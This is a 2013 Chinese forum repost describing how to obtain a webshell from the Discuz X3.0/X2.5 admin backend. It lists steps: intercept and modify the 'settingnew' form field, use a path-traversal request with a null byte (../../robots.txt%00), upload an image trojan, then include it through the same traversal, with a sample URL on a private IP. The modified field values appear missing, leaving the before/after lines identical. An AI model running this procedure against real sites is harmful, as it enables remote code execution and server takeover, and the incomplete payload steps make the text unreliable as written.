demonelf 发表于 2013-6-30 14:47:41

dz3.0/2.5 后台拿shell[Discuz 后台拿shell]

上班后看到wooyun社区发布了一个discuzx3后台拿shell的方法,随后t00ls的会员也测试了discuz x2.5的后台拿shell方法。
好蛋疼的是我测试居然没过,抓到的数据包和给出的案例不一样!!!
经过研究发现,步骤错了。。。。
原帖地址内容:
http://zone.wooyun.org/content/3894
用户 – 用户栏目 – 栏目分组 – 提交 – 抓包 (我就是在这步出错的,一定要提交,不然抓到的数据包不一样)
查看源代码
打印帮助


1Content-Disposition: form-data; name="settingnew"



改为
查看源代码
打印帮助


1Content-Disposition: form-data; name="settingnew"



访问
查看源代码
打印帮助


1/home.php?mod=spacecp&id=../../robots.txt%0057



利用:
原帖测试的是dz x3,我测试的是dz x2.5无视gpc
*********************************************************************
1.首先进后台,抓个包

2.改包

查看源代码
打印帮助


1Content-Disposition: form-data; name="settingnew"



改为
查看源代码
打印帮助


1Content-Disposition: form-data; name="settingnew"



提交

3.提交过后访问
/home.php?mod=spacecp&id=../../robots.txt%00

4.找个地方上传图片马

5.访问图片马
查看源代码
打印帮助


1http://192.168.2.190//home.php?mod=spacecp&id=../../data/attachment/forum/201305/24/122111m1464cdtfkc0stt1.gif%00




                                   0



本文固定链接: http://www.unhonker.com/bug/1217.html | 90' s Blog|关注网络信息安全
页: [1]
查看完整版本: dz3.0/2.5 后台拿shell[Discuz 后台拿shell]